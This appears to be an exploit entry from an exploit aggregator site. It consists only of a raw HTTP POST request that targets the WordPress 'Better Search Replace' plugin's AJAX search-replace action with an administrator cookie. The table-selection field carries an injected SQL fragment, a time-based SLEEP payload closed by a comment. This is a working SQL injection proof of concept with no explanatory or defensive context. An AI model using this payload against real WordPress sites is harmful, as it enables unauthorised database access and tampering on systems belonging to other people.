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## https://sploitus.com/exploit?id=WPEX-ID:229A065E-1062-44D4-818D-29AA3B6B6D41
POST /wp-admin/tools.php?page=better-search-replace&bsr-ajax=process_search_replace HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 369
Connection: close
Cookie:[admin+]

bsr_ajax_nonce=3c38e50368&action=process_search_replace&bsr_step=0&bsr_page=0&bsr_data=search_for%3Daaa%26replace_with%3Dcef%26select_tables%255B%255D%3Dwp_posts%60%20WHERE%201=SLEEP(1)%20--%20%26dry_run%3Don%26bsr_nonce%3Da66e81c52b%26_wp_http_referer%3D%252Fwordpress%252Fwp-admin%252Ftools.php%253Fpage%253Dbetter-search-replace%26action%3Dbsr_process_search_replace